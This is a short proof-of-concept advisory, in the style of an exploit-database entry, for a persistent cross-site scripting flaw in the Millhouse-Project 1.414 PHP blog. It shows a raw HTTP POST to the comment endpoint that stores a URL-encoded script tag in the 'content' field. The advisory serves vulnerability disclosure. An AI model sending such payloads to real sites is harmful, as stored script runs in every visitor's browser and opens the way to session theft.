thrsrossi Millhouse-Project 1.414 - 'content' Persistent Cross-Site Scripting

# Exploit Title: thrsrossi Millhouse-Project 1.414 - 'content' Persistent Cross-Site Scripting
# Date: 2019-11-01
# Exploit Author: Cakes
# Vendor Homepage: https://github.com/thrsrossi/Millhouse-Project
# Software Link: https://github.com/thrsrossi/Millhouse-Project.git
# Version: 1.414
# Tested on: CentOS 7
# CVE: N/A

# PoC for this XSS attack

POST /includes/add_comment_sql.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://TARGET/views/single_post.php?post_id=53
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Cookie: PHPSESSID=0sqr9kui308rq66ol1uu5olb94; submenu1=block; showips=10; showurls=10; showreferers=10
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1

content=%3Cscript%3Ealert%28%22TEST%22%29%3B%3C%2Fscript%3E